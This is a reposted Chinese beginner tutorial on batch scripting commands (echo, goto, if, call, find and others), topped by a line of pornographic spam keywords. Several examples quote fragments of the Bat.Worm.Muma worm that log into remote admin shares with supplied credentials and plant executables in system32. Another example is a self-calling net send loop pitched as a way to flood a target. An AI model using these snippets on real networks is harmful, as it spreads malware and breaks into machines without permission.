久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

批處理經(jīng)典入門教程,!(從不懂到高手)第2/5頁

 隨心筆記本 2014-04-14

例四,借批處理自動清除系統(tǒng)垃圾,,腳本如下:
復(fù)制代碼 代碼如下:

@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*


將以上腳本內(nèi)容保存到autoexec.bat里,,每次開機時就把系統(tǒng)垃圾給自動刪除了。這里需要注意兩點:一,、DOS不支持長文件名,,所以就出現(xiàn)了Tempor~1這個東東;二,、可根據(jù)自己的實際情況進(jìn)行改動,,使其符合自己的要求。

怎么樣,,看到這里,,你對批處理腳本是不是已經(jīng)有點興趣了?是不是發(fā)現(xiàn)自己已經(jīng)慢慢愛上了這個東東,?別高興的太早,,愛不是一件簡單的事,它也許能帶給你快樂和幸福,,當(dāng)然也能讓你痛苦的想去跳樓,。如果你知道很難還敢繼續(xù)的話,I 服 了 YOU,!繼續(xù)努力吧,,也許到最后你不一定得到真愛(真的有這可能,,愛過的人都知道),,但你可以體會到整個愛的過程,就是如此,。 酸,、苦和辣,有沒有甜天知道,。

為什么會把批處理和愛情扯上關(guān)系,?不是我無聊,也不是因為這樣寫有趣多少,,原因有二:其一,,批處理和愛情有很多相同的地方,,有些地方我用“專業(yè)”的行話解釋不清(我不懷疑自己的表達(dá)能力,而是事情本身就不好說清楚),,說了=沒說,,但用地球人都知道的愛情一比喻(愛情是什么?我**怎么知道?。,。瑳]準(zhǔn)你心里一下就亮堂了,,事半功倍,,何樂而不為?其二,,我這段時間狀態(tài)不是很好,,感冒發(fā)燒頭疼鼻塞,但主要還是感情上精神摧殘,,搞的人煩透了,,借寫教程之際感慨幾句,大家就全當(dāng)買狗皮膏藥了,,完全可以省略不看(也許還真有點效果----不至于讓你看著看著就睡著了,,把頭磕了來找我報銷醫(yī)藥費)。說不定下次的教程中大家還會看到楊過,、張無忌等金老前輩筆下的英雄們,。
看過第一章的朋友,一定對批處理有了初步的印象,,知道它到底是用來干什么的了,。但你知道運用批處理的精髓在哪里嗎 ?其實很簡單:思路要靈活,!沒有做不到的,,只有想不到的。這和愛情就有點不同了,,因為愛情的世界是兩個人的世界,,一廂情愿不叫愛情(補充:那叫單戀。廢話?。┒幚韰s是一個人的天堂,,你可以為所欲為,沒有達(dá)不到的境界,!

批處理看起來雜亂無章,,但它的邏輯性之強,絕對不比其他程序語言(如匯編)低,,如果你寫的腳本是一堆亂麻,,雖然每一行命令都正確,,但從頭執(zhí)行到尾后,不一定得到你想要的結(jié)果,,也許是一屏幕的Bad command or fail name,。這又和愛情有了共同點:按步驟來經(jīng)營,缺少或增多的步驟都可能導(dǎo)致不想看見的結(jié)果,。陷入愛河的朋友,,相信沒有不肯定這句話的。我的愛情批處理,,輸出的結(jié)果不是Bad command or fail name,,屏幕是這么顯示的:‘你的愛情'不是內(nèi)部或外部命令,也不是可運行的程序或批處理文件,。然后就是光標(biāo)不停閃動,,等待這下一次錯誤的輸入。

從這一章開始,,將由淺入深的介紹批處理中常用的命令,,很多常見DOS命令在批處理腳本中有這廣泛的應(yīng)用,它們是批處理腳本的BODY部分,,但批處理比DOS更靈活多樣,,更具備自動化。要學(xué)好批處理,,DOS一定要有比較扎實的基礎(chǔ),。這里只講述一些比較少用(相對來說)的DOS命令,常用命令如COPY,、DIR等就不做介紹了(這些看似簡單的命令實際復(fù)雜的很,,我怕自己都說不清楚!),。

例五,,先看一個實例。這是一個很有意思的腳本,,一個小巧實用的好東東,,把批處理“自動化”的特點體現(xiàn)的淋漓盡致。先介紹一下這個腳本的來歷:大家都知道匯編程序(MASM)的上機過程,,先要對源代碼進(jìn)行匯編,、連接,,然后再執(zhí)行,,而這中間有很多環(huán)節(jié)需要輸入很多東西,麻煩的很(只有經(jīng)歷過的朋友才懂得),。如何使這個過程變的簡單呢,?在我們搞匯編課程設(shè)計時,,我“被逼”寫了這個腳本,用起來很爽,,呵呵,。看看腳本內(nèi)容:
復(fù)制代碼 代碼如下:

@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage

先不要被這一堆的東西給嚇怕了,,靜下心來仔細(xì)的看(回想一下第一章中第一段是怎么寫的?。。?。已經(jīng)給出了每一行命令的解釋,,兩個冒號后面的內(nèi)容為前一行內(nèi)容解釋的E文(害怕E文的朋友也不用擔(dān)心,都很easy,,一看就懂了,,實在不懂了不會查詞典啊,這么懶,?),,在腳本執(zhí)行時不顯示,也不起任何作用,。倒數(shù)第5行行首有一個冒號,,可不是筆誤哦!具體作用后面會詳細(xì)講到,。此腳本中masm和link是匯編程序和連接程序,,必須和edit程序以及你要編輯的源代碼(當(dāng)然還有這個腳本,廢話?。┮黄鹪诋?dāng)前目錄中,。使用這個批處理腳本,可以最大可能的減少手工輸入,,整個過程中只需要按幾下回車鍵,,即可實現(xiàn)從匯編源代碼到可執(zhí)行exe文件的自動化轉(zhuǎn)換,并具備智能判斷功能:如果匯編時源代碼出現(xiàn)錯誤(匯編不成功),,則自動暫停顯示錯誤信息,,并在按任意鍵后自動進(jìn)入編輯源代碼界面;如果源代碼匯編成功,,則進(jìn)行連接,,并在連接后自動執(zhí)行生成的exe文件。另外,,由于批處理命令的簡單性和靈活性,,這個腳本還具備良好的可改進(jìn)性,簡單進(jìn)行修改就可以符合不同朋友的上機習(xí)慣。正在學(xué)匯編的朋友,,一定別忘了實習(xí)一下,!

在這個腳本中出現(xiàn)了如下幾個命令:@、echo,、::,、pause、:和goto,、%以及if,。而這一章就將講述這幾個命令。

1,、@

這個符號大家都不陌生,,email的必備符號,它怎么會跑到批處理中呢,?呵呵,,不是它的錯,批處理本來就離不開它,,要不就不完美了,。它的作用是讓執(zhí)行窗口中不顯示它后面這一行的命令本身(多么繞口的一句話!),。呵呵,,通俗一點說,行首有了它的話,,這一行的命令就不顯示了,。在例五中,首行的@echo off中,,@的作用就是讓腳本在執(zhí)行時不顯示后面的echo off部分,。這下懂了吧?還是不太懂,?沒關(guān)系,,看完echo命令簡介,自然就懂了,。

2,、echo

中文為“反饋”、“回顯”的意思,。它其實是一個開關(guān)命令,,就是說它只有兩種狀態(tài):打開和關(guān)閉。于是就有了echo on 和echo off兩個命令了,。直接執(zhí)行echo命令將顯示當(dāng)前echo命令狀態(tài)(off或on)執(zhí)行echo off將關(guān)閉回顯,,它后面的所有命令都不顯示命令本身,,只顯示執(zhí)行后的結(jié)果,除非執(zhí)行echo on命令,。在例五中,,首行的@命令和echo off命令聯(lián)合起來,,達(dá)到了兩個目的:不顯示echo off命令本身,,不顯示以后各行中的命令本身。的確是有點亂,,但你要是練習(xí)一下的話,,3分鐘包會,不會的退錢,!

echo命令的另一種用法一:可以用它來顯示信息,!如例五中倒數(shù)第二行,Default BAT file name is START.BAT將在腳本執(zhí)行后的窗口中顯示,,而echo命令本身不顯示(為什么,??),。
echo命令的另一種用法二:可以直接編輯文本文件,。

例六:
復(fù)制代碼 代碼如下:

echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat


以上腳本內(nèi)容的編輯方法是,直接是命令行輸入,,每行一回車,。最后就會在當(dāng)前目錄下生成一個a.bat的文件,直接執(zhí)行就會得到結(jié)果,。

3,、::

這個命令的作用很簡單,它是注釋命令,,在批處理腳本中和rem命令等效,。它后面的內(nèi)容在執(zhí)行時不顯示,也不起任何作用,,因為它只是注釋,,只是增加了腳本的可讀性,和C語言中的/*…………*/類似,。地球人都能看懂,,就不多說了。

4,、pause

中文為“暫?!钡囊馑迹纯茨愕膚orkman上),我一直認(rèn)為它是批處理中最簡單的一個命令,,單純,、實用。它的作用,是讓當(dāng)前程序進(jìn)程暫停一下,,并顯示一行信息:請按任意鍵繼續(xù). . .,。在例五中這個命令運用了兩次,第一次的作用是讓使用者看清楚程序信息,,第二個是顯示錯誤的匯編代碼信息(其實不是它想顯示,,而是masm程序在顯示錯誤信息時被暫它停了,以便讓你看清楚你的源代碼錯在哪里),。

5,、:和goto

為什么要把這兩個命令聯(lián)合起來介紹?因為它們是分不開的,,無論少了哪個或多了哪個都會出錯,。goto是個跳轉(zhuǎn)命令,: 是一個標(biāo)簽,。當(dāng)程序運行到goto時,,將自動跳轉(zhuǎn)到:定義的部分去執(zhí)行了(是不是分不開?),。例五中倒數(shù)第5行行首出現(xiàn)一個:,,則程序在運行到goto時就自動跳轉(zhuǎn)到:標(biāo)簽定義的部分執(zhí)行,結(jié)果是顯示腳本usage(usage就是標(biāo)簽名稱),。不難看出,,goto命令就是根據(jù)這個冒號和標(biāo)簽名稱來尋找它該跳轉(zhuǎn)的地方,它們是一一對應(yīng)的關(guān)系,。goto命令也經(jīng)常和if命令結(jié)合使用,。至于這兩個命令具體用法,參照例五,。

goto命令的另一種用法一:提前結(jié)束程序,。在程序中間使用goto命令跳轉(zhuǎn)到某一標(biāo)簽,而這一標(biāo)簽的內(nèi)容卻定義為退出,。
如:

……
goto end
……
:end

這里:end在腳本最后一行,!其實這個例子很弱智,后面講了if命令和組合命令你就知道了,。

6,、%

這個百分號嚴(yán)格來說是算不上命令的,它只是批處理中的參數(shù)而已(多個%一起使用的情況除外,,以后還將詳細(xì)介紹),,但千萬別以為它只是參數(shù)就小看了它(看看例五中有多少地方用到它?),,少了它批處理的功能就減少了51%了,??纯蠢?
七:
復(fù)制代碼 代碼如下:

net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32?.bat -r -h -s


以上代碼是Bat.Worm.Muma病毒中的一部分,%1代表的IP,,2%代表的username,,3%代表password。執(zhí)行形式為:腳本文件名 參數(shù)一 參數(shù)二 ……,。假設(shè)這個腳本被保存為a.bat,,則執(zhí)行形式如下:a IP username password。這里IP,、username,、password是三個參數(shù),,缺一不可(因為程序不能正確運行,,并不是因為少了參數(shù)語法就不對)這樣在腳本執(zhí)行過程中,腳本就自動用用你的三個參數(shù)依次(記住,,是依次,!也是一一對應(yīng)的關(guān)系。)代換1%,、2%和3%,,這樣就達(dá)到了靈活運用的目的(試想,如果在腳本中直接把IP,、username和password都定義死,,那么腳本的作用也就被固定了,但如果使用%的話,,不同的參數(shù)可以達(dá)到不同的目的,,是不是更靈活?),。

關(guān)于這個參數(shù)的使用,,在后續(xù)章節(jié)中還將介紹。一定要非常熟練才行,,這需要很多練習(xí)過程,,需要下點狠工夫!

這一章就寫到這里了,??赡苡信笥褑柫耍涸趺礇]介紹if命令?呵呵,,不是我忘了,,而是它不容易說清楚,下一章再講了,!這一章講的這點東西,,如果你是初學(xué)者,,恐怕也夠消化的了。記住一句話:DOS是批處理的BODY,,任何一個DOS命令都可以被用在批處理腳本中去完成特定的功能,。到這里,你是否已經(jīng)想到了用自己肚子里的東西去寫點帶有自動化色彩的東東呢
,?很簡單,,就是一個DOS命令的集合而已,相信自稱為天才的你已經(jīng)會把計算機等級考試上機試題中的DOS部分用批處理來自動化完成了,。

煩,!就好象一個半老女人到了更年期,什么事都想嘮叨幾句,,什么事都感到不舒服,,看誰誰不爽。明知山有虎,,偏向虎山行,,最后留下一身傷痕無功而返時,才發(fā)現(xiàn)自己竟然如此脆弱,,如此渺小,,如此不堪一擊。徘徊在崩潰的邊緣,,突然回想起了自己最后一次扁人的那一刻,,還真有點懷念(其實我很不喜歡扁人,更不喜歡被人扁),。我需要發(fā)泄,,我用手指拼命的敲打著鍵盤,在一陣接一陣有節(jié)奏的聲音中,,屏幕上出現(xiàn)了上面的這些文字,。可難道這就是發(fā)泄的另一種方式嗎,?中國人還是厲害,,早在幾千年前孔老夫子就說過“唯女子與小人,難養(yǎng)也”,,真**有先見之明,,佩服!雖然是在發(fā)泄,,不過大家請放心,,以我的脾氣,既然決定寫這篇教程,,就一定會盡力去寫好,,寫完美,,絕對不給自己留下遺憾,要不這教程就不是我寫的,!
曾經(jīng)有一篇經(jīng)典的批處理教程出現(xiàn)在你的屏幕上,,你沒有保存,直到找不到它的鏈接你才后悔莫及,,人世間最大的痛苦莫過于此,。如果上天能給你一個再看一次的機會,你會對那篇教程說三個字:我愛你,!如果非要給這份愛加上一個期限,,你希望是100年。因為100年后,,你恐怕早已經(jīng)掛了,!而現(xiàn)在,你的屏幕上出現(xiàn)了這篇你正在看的批處理教程,,雖然不如你曾經(jīng)看的那篇經(jīng)典,,但如果勉強還過的去,。你會愛它嗎,?時間會有50年那么長嗎?答案是:試試看吧,。

批處理腳本中最重要的幾個命令,,將在這一章詳細(xì)介紹,但是很遺憾,,有些細(xì)節(jié)到現(xiàn)在我都沒掌握的很好,,甚至還有些生分。如同還不太懂得愛一樣,。但我一直都在努力,,即使一直都沒有收獲。所以可能講的會比較籠統(tǒng),,但我會告訴你方法,,剩下的就是時間問題了,需要自己去磨練,。讓我們共同努力吧,。冰凍三尺非一日之寒,滴水穿石非一日之功,。有些事情,,比如學(xué)批處理,比如愛一個人,,都是不能速成的,,甚至還會有付出艱辛而收獲為甚微的情況,。再次重申,看這篇教程的時候,,一定要靜下心來,,除非你已經(jīng)掌握了這篇教程的所有東西----但那也就不必看了,浪費時間,!

7,、if

接上一章,接著講if命令,??偟膩碚f,if命令是一個表示判斷的命令,,根據(jù)得出的每一個結(jié)果,,它都可以對應(yīng)一個相應(yīng)的好啊作。關(guān)于它的三種用法,,在這里分開講,。

(1)、輸入判斷,。還是用例五里面的那幾句吧:
復(fù)制代碼 代碼如下:

if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage

這里判斷輸入的參數(shù)情況,,如果參數(shù)為空(無參數(shù)),則跳轉(zhuǎn)到usage,;如果參數(shù)為/?或help時(大家一般看一個命令的幫助,,是不是輸入的/?或help呢,這里這么做只是為了讓這個腳本看起來更像一個真正的程序),,也跳轉(zhuǎn)到usage,。這里還可以用否定形式來表示“不等于”,例如:if not "%1"=="" goto usage,,則表示如果輸入?yún)?shù)不為空就跳轉(zhuǎn)到usage(實際中這樣做就沒意義了,,這里介紹用法,管不了那么多了,,呵呵,。)是不是很簡單?其實翻譯成中文體會一下就understand了,。

(2),、存在判斷。再看例二里這句:

if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

如果存在那些gif文件,,就刪除這些文件,。當(dāng)然還有例四,都是一樣的道理,。注意,,這里的條件判斷是判斷存在的,,當(dāng)然也可以判斷不存在的,例如下面這句“如果不存在那些gif文件則退出腳本”:if not exist C:\Progra~1\Tencent\AD\*.gif exit,。只是多一個not來表示否定而已,。

(3)、結(jié)果判斷,。還是拿例五開刀(沒想到自己寫的腳本,,竟然用處這么大,呵呵):
復(fù)制代碼 代碼如下:

masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj

先對源代碼進(jìn)行匯編,,如果失敗則暫停顯示錯誤信息,,并在按任意鍵后自動進(jìn)入編輯界面;否則用link程序連接生成的obj文件,。這里只介紹一下和if命令有關(guān)的地方,,&命令后面會講到。這種用法是先判斷前一個命令執(zhí)行后的返回碼(也叫錯誤碼,,DOS程序在運行完后都有返回碼),,如果和定義的錯誤碼符合(這里定義的錯誤碼為1),則執(zhí)行相應(yīng)的好啊作( 這里相應(yīng)的好啊作為pause & edit %1.asm部分),。

另外,,和其他兩種用法一樣,這種用法也可以表示否定,。用否定的形式仍表達(dá)上面三句的意思,,代碼變?yōu)椋?
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm

看到本質(zhì)了吧?其實只是把結(jié)果判斷后所執(zhí)行的命令互換了一下,,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令執(zhí)行成功(因為它是錯誤判斷,,而且返回碼為0,,0就表示否定,就是說這個錯誤不存在,,就是說masm執(zhí)行成功),。這里是否加not,錯誤碼到底用0還是1,,是值得考慮的兩個問題,,一旦搭配不成功腳本就肯定出錯,所以一定要體會的很深刻才行,。如何體會的深刻,?練習(xí)!自己寫一個腳本,,然后把有not和沒有not的情況,,返回碼為0或1的情況分別寫進(jìn)去執(zhí)行(怎么,,嫌麻煩啊,?排列組合算一下才四中情況你就嫌麻煩了,?后面介紹管道命令和組合命令時還有更麻煩的呢!怕了,?呵呵,。),這樣從執(zhí)行的結(jié)果中就能很清楚的看出這兩種情況的區(qū)別,。

這種用errorlevel結(jié)果判斷的用法是if命令最難的用法,,但也恰恰是最有用的用法,如果你不會用errorlevel來判斷返回碼,,則要達(dá)到相同的效果,,必須用else來表示“否則”的好啊作,是比較麻煩的,。以上代碼必須變成:

masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm

關(guān)于if命令的這三種用法就say到這里,,理解很簡單,但應(yīng)用時就不一定用的那么得心應(yīng)手,,主要是熟練程度的問題,。可能有的朋友有點驚訝,,我怎么沒給出類似下面三行的用法介紹,,是因為下面三行是if命令幫助里對它自身用法的解釋,任何人只要一個“if /?”就能看到,,我沒有必要在這里多費口舌,;更重要的原因,是我覺得這樣介紹的不清楚,,看的人不一定看的懂,,所以我采用上面自己對if命令的理解來介紹。一定要注意的是,,這三種用法的格式各不相同,,而且也是不能改變的,但實際上可以互換(以為從本質(zhì)上講,,這三種用法都是建立在判斷的基礎(chǔ)上的,,哲學(xué)教我們學(xué)會透過現(xiàn)象看事物
本質(zhì)!),。有興趣的朋友可以自己研究一下,。

IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call

學(xué)過匯編或C的朋友,肯定都知道call指令表示什么意思了,,在這里它的意思其實也是一樣的,。在批處理腳本中,call命令用來從一個批處理腳本中調(diào)用另一個批處理腳本,??蠢耍J(rèn)的三個腳本文件名分別為start.bat、10.bat和ipc.bat
):

start.bat:
……
CALL 10.BAT 0
……

10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt

ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

有沒有看出什么不對的地方,?沒看出來?。繘]看出來就對了,,其實就沒有不對的地方嘛,,你怎么看的出來!從上面兩個腳本,,你可以得到如下信息:1,、腳本調(diào)用可以靈活運用,循環(huán)運用,、重復(fù)運用,。2、腳本調(diào)用可以使用參數(shù),!關(guān)于第一點就不多說了,,聰明的你一看就應(yīng)該會,這里說一下第二點,。

在start.bat中,,10.bat后面跟了參數(shù)0,在執(zhí)行時的效果,,其實就是把10.bat里的參數(shù)%1用0代替,。在start.bat中,ipc.bat后面跟了參數(shù)ipcfind.txt(一個文件,,也可以做參數(shù)),,執(zhí)行時的效果,就是用ipc.bat中的每一行的三個變量 (這里不懂沒關(guān)系,,學(xué)過for命令后就懂了),對應(yīng)代換ipc.bat中的%%i,、%%j和%%k,。這里參數(shù)調(diào)用是非常靈活的,使用時需要好好體會,。在初學(xué)期間,,可以先學(xué)習(xí)只調(diào)用腳本,至于連腳本的參數(shù)一起使用的情況,在后面的學(xué)習(xí)中自然就會有
比較深刻的理解,,這是因為當(dāng)你已經(jīng)可以靈活運用批處理腳本后,,如何使代碼寫的更精簡更完美更高效就自然包括到了考慮的范圍,這時候你就會發(fā)現(xiàn)在調(diào)用腳本時直接加入?yún)?shù),,可以使代碼效率加倍,。By the way,上面的這幾個腳本,,都是Bat.Worm.Muma病毒的一部分,,在后面的教程里,大家將有機會見到這個病毒的真面目,。
那是不是說,,在同一個目錄下至少存在兩個批處理腳本文件(只有一個你調(diào)用誰?),?呵呵,,注意了,這句話錯了??!只有一個照樣可以調(diào)用----調(diào)用自身!看例九(默認(rèn)腳本文件名a.bat):

net send %1 This is a call example.
call a.bat

這兩句一結(jié)合,,效果自然不怎么樣,,因為只有一臺機器來發(fā)消息,誰怕誰???我給你來個禮尚往來!可如果有100臺機器同時執(zhí)行,,而且每臺機器開10和窗口同時向一個目標(biāo)機器發(fā)消息的話,,呵呵。這里call a.bat的作用就是調(diào)用自身,,執(zhí)行完前一句net send命令后再調(diào)用自身,,達(dá)到了循環(huán)執(zhí)行的目的。

給出一個很有意思的腳本,,有興趣的朋友可以實驗一下,。例十(默認(rèn)腳本文件名為a.bat):

call a.bat

一定要在DOS窗口下執(zhí)行,否則只會看到一個窗口一閃而過,,看不到最后結(jié)果,。等執(zhí)行完后,當(dāng)腳本被執(zhí)行了1260次,,別忘了想一下到底是為什么,!愛情有時候跟這個腳本一樣,,一旦陷入死循環(huán),,最后的結(jié)果都是意想不到的,。只是愛情,絕對不會等到被毫無理由的循環(huán)這么多次,,也許在第三次時就出現(xiàn)了love is aborted的提示,。

9、find

這是一個搜索命令,,用來在文件中搜索特定字符串,,通常也作為條件判斷的鋪墊程序(我怎么突然想起了這四個字?),。
這個命令單獨使用的情況在批處理中是比較少見的,,因為沒什么實際意義。還是借例三來說明:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

先用netstat命令檢查是否有冰河默認(rèn)的端口7626在活動,,并把結(jié)果保存到a.txt中,。然后使用type命令列出a.txt中的內(nèi)容,再在列出的內(nèi)容中搜索字符串“7626” ,,發(fā)現(xiàn)有的話則提示中了冰河,,否則退出???,find命令其實就這么簡單,,但有一點必須要注意到:如果不使用type命令列出a.txt中的內(nèi)容,,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必須得給出這個a.txt的絕對路徑(我試過了,,find并沒有默認(rèn)路徑就是當(dāng)前路徑的功能,,必須手動指定。也許是我錯了,,歡迎指正),。因為在find命令的幫助里有這么一句話:如果沒有指定路徑,,find將搜索鍵入的或者由另一個命令產(chǎn)生的文字。這里的“另一個命令”自然就指的type命令了,。

至于find命令的其他幾個參數(shù)如v、n、i等,,有興趣的朋友自己去研究吧,,這已經(jīng)屬于DOS學(xué)習(xí)的內(nèi)容了,這里就不做介紹,。關(guān)于find命令和其他命令的一些更精妙的用法(有些簡直令人叫絕),,后續(xù)的教程中將介紹,希望關(guān)注,。

10、for,、set、shift

為什么把這三個命令放到一起來講,?原因除了我說明外,,恐怕誰也想不到!很簡單的一句話:其實我也不太懂,!是的,,對于這兩個命令,我是從研究Bat.Worm.Muma病毒開始學(xué)習(xí)的,,時間過去了不少,,但還是沒完全搞明白,我怕講出來連自己都看不懂,,我更怕不小心講錯了成了罪人,。所以我給出一個腳本去告訴你,如何讓這兩個命令給自己留一個初步的印象,,其實也就是這兩個命令的入門,,而并不是說如何領(lǐng)會這兩個命令。因為要領(lǐng)會如此精妙的兩個命令(特別是for)談何容易,!也許你會表揚我說我誠實,、不懂就不懂;也許你會罵我,,讓我既然不懂就趕緊滾蛋,,不要在這里丟人顯眼;也許你還會說一些別的這樣那樣好聽或不好聽的話,,都隨便你了,,即使我不同意你說的話,我也會誓死捍衛(wèi)你說話的權(quán)利,??蠢?
一:
復(fù)制代碼 代碼如下:

@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit

執(zhí)行后在當(dāng)前路徑下就生成for.txt、set.txt和shift.txt三個文件,,里面分別記錄了for命令、set命令和shift命令的幫助信息,。地球人都能看懂,我就不多說了,。我在網(wǎng)上曾經(jīng)找了很長時間這三個命令的教程,但都不理想,,基本都是照搬的幫助信息。我想在自己完全掌握了這兩個命令后,,一定要寫一篇用自己的文字總結(jié)出來的for、set和shift教程(關(guān)于shift命令,,后面介紹批處理的參數(shù)時還將涉及到),,一定會的,這是我的心愿之一,!需要注意的一點是,,這三個命令的幫助里 ,介紹的都比較死板,,雖然也舉了一些例子,,但這是遠(yuǎn)遠(yuǎn)不夠的,。要掌握這兩個命令,,最需要的就是耐心!沒寫錯,,就是耐心,。光是認(rèn)真看完它們的幫助文字就已經(jīng)需要足夠的耐心了,要進(jìn)一步練習(xí)領(lǐng)會這兩個命令,,難道不需要更大的耐心,?實戰(zhàn)練習(xí)的機會我會留給你的,關(guān)鍵還是那句話,,看你有沒有耐心去研究了,。看看例十

您可能感興趣的文章:

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,,所有內(nèi)容均由用戶發(fā)布,,不代表本站觀點,。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,,謹(jǐn)防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報,。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多